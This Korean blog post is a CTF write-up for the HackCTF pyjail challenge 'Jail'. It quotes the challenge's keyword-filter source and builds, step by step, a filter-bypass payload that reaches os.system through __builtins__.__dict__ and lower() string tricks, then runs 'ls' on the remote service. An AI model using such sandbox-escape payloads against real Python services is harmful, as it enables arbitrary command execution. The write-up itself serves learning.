ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [Misc] 탈옥
    Wargame/HackCTF 2020. 1. 16. 23:05

     

    들어가며

    pyjail 문제였는데, 이 문제로 파이썬 함수들이 어떤 식으로 구성되어 있는지 알 수 있었다.

     

    문제해석

    root@goorm:/workspace/ubuntu_1604/hackctf/pwnable(master)# nc ctf.j0n9hyun.xyz 9002
    #! /usr/bin/python3
    def main():
        print(open(__file__).read())
        print("Welcome to Jail World!")
        text = input('>>> ')
        for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write']:
            if keyword in text:
                print("Filtered Keyword.")
                return;
        else:
            exec(text)
    if __name__ == "__main__":
        main()
    
    Welcome to Jail World!
    >>>

    전형적인 pyjail문제이다.

    필터링된 keyword들을 우회하여 os모듈을 import한 후에, system('cat ./flag')를 실행하면 될것같다.

     

    풀이

    파이썬 함수의 최상위 부분은 __builtins__로부터 파생되어 나온다. 참고

    또한, __builtins____dict__를 사용하여 dictionary 표현으로 변환도 가능하다.

    __builtins__.__dict__['__import__']

    위를 보내면 'import'부분에서 필터링 될 것이다.

    그러므로, lower()함수를 이용하여 문자열 필터링을 우회해보자.

    >>> __builtins__.__dict__['__IMPORT__'.lower()]
    <built-in function __import__>

    정상적으로 잘 우회되는 것을 볼 수 있다.

     

    같은 방법으로 os 모듈을 불러와보자. 'os'도 마찬가지로 필터링 될 것이므로 우회를 해야한다.

    >>> __builtins__.__dict__['__IMPORT__'.lower()]('OS'.lower())
    <module 'os' from '/usr/lib/python3.5/os.py'>

    정상적으로 잘 불러와진다! os 모듈__import__함수의 인자이므로 괄호로 묶어주었다.

     

    같은 방법으로 os 모듈에서 system함수를 호출해보자.

    >>> __builtins__.__dict__['__IMPORT__'.lower()]('OS'.lower()).__dict__['SYSTEM'.lower()]
    <built-in function system>

    os 모듈 내에서도 builtins에서와 마찬가지로 __dict__를 통하여 dictionarysystem에 접근하였다.

     

    마지막으로, 실제로 원하는 명령어를 보내보자.

    root@goorm:/workspace/ubuntu_1604/hackctf/pwnable(master)# nc ctf.j0n9hyun.xyz 9002
    #! /usr/bin/python3
    def main():
        print(open(__file__).read())
        print("Welcome to Jail World!")
        text = input('>>> ')
        for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write']:
            if keyword in text:
                print("Filtered Keyword.")
                return;
        else:
            exec(text)
    if __name__ == "__main__":
        main()
    
    Welcome to Jail World!
    >>> __builtins__.__dict__['__IMPORT__'.lower()]('OS'.lower()).__dict__['SYSTEM'.lower()]('ls')
    flag
    main.py

    flag라는 파일을 확인하였으므로, 'cat ./flag' 명령어를 통하여 확인하면 될 것 같다.

     

    Reference site

    https://anee.me/escaping-python-jails-849c65cf306e

     

    Escaping Python Jails

    Getting user input and executing it is usually a very bad idea. People make condition checks to avoid elevated commands/permissions…

    anee.me

    'Wargame > HackCTF' 카테고리의 다른 글

    [Pwnable] Unexploitable #1, #2  (0) 2020.01.27
    [Pwnable] World Best Encryption Tool  (0) 2020.01.16
    [Pwnable] Register  (0) 2020.01.16
    [Pwnable] RTC  (0) 2020.01.12
    [Pwnable] SysROP  (0) 2020.01.12

    댓글

Designed by Tistory.